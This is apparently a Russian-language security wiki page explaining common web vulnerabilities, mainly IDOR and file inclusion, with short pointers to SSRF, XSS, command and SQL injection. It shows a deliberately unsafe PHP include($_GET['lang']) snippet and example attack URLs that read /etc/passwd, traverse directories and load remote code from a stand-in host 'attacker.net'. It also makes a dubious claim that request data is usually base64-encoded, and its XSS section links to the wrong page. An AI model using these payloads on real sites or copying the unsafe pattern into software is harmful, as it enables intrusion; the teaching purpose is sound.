Перейти к содержанию

Типичные уязвимости web приложений

IDOR

Insecure Direct Object Reference - уязвимость относящаяся к типу Broken access control уязвимостей.
Заключается в том, что web сервер или web приложение не проверяют пользовательский ввод на корректность и допустимость введенной информации.
Например просто изменив user_id возможно будет получить доступ к профилю другого пользователя:

https://online-service.net/profile?user_id=1000

К сведению

Следует помнить, что, как правило, сведения передаваемые в запросах не отправляются в открытом виде, а кодируются в base64.

File incusion

Заключается в том, что web сервер или web приложение не проверяют пользовательский ввод на предмет наличия в нём конструкций, позвляющих перемещатся по файловой системе.
В контексте данного типа уязвимостей различают:

  • Local File Inclusion (LFI)
  • Remote File Inclusion (RFI)
  • Directory traversal

LFI

Атаки типа LFI, как и многие другие атаки на web приложения, возникают из-за неверно или недостаточно безопасно сконфигурированными функциями web приложения которые отвечают за чтение данных из файлов.

Примерами таких функций в PHP являются:
include(), require(), include_once(), require_once()

В качестве примера:
Имеется мультиязычное web приложение.
Переключение языков реализовано функцией include():

Change_lang
<?PHP 
    include($_GET["lang"]);
?>
непосредственно переключение происходит путем передачи в GET запросе параметра lang который указывает на php файл с нужным языком:
https://webapp.net/index.php?lang=RU.php
Если функция include будет вслепую, без проверки выполнять всё, что ей передается, то получить неавторизованный доступ не составит труда:
https://webapp.net/index.php?lang=/etc/passwd

RFI

Тот же LFI, но с возможностью передачи файла расположенного на удалённом сервере:

https://webapp.net/index.php?lang=http://attacker.net/cmd.txt

Directory traversal

Также известная как Path traversal, представляет из себя LFI в которой передается путь к целевому файлу используя перемещение по Unix FHS:

https://webapp.net/get.php?file=../../../../etc/passwd


SSRF

Server-Side Request Forgery - уязвимость позволяющая атакующему заставить web сервер делать запросы к тем ресурсам которые определит атакующий.
Подробно о SSRF уже написано в разделе OWASP/SSRF

XSS

Cross site scripting - уязвимость которая позволяет выполнять произвольный JS код на уязвимых страницах web приложения.
Подробно о XSS уже написано в разделе OWASP/SSRF

Command Injection

Command Injection - уязвимость которая позволяет выполнить произвольный код на web сервере от имени той учётной записи под которой запущен web сервер. Подробно о Command Injection уже написано в разделе OWASP/Injection

SQL Injection

SQL Injection - уязвимость заключающаяся в передаче злонамеренного SQL запроса в БД.
Подробно о SQL Injection уже написано в разделе OWASP/SQLi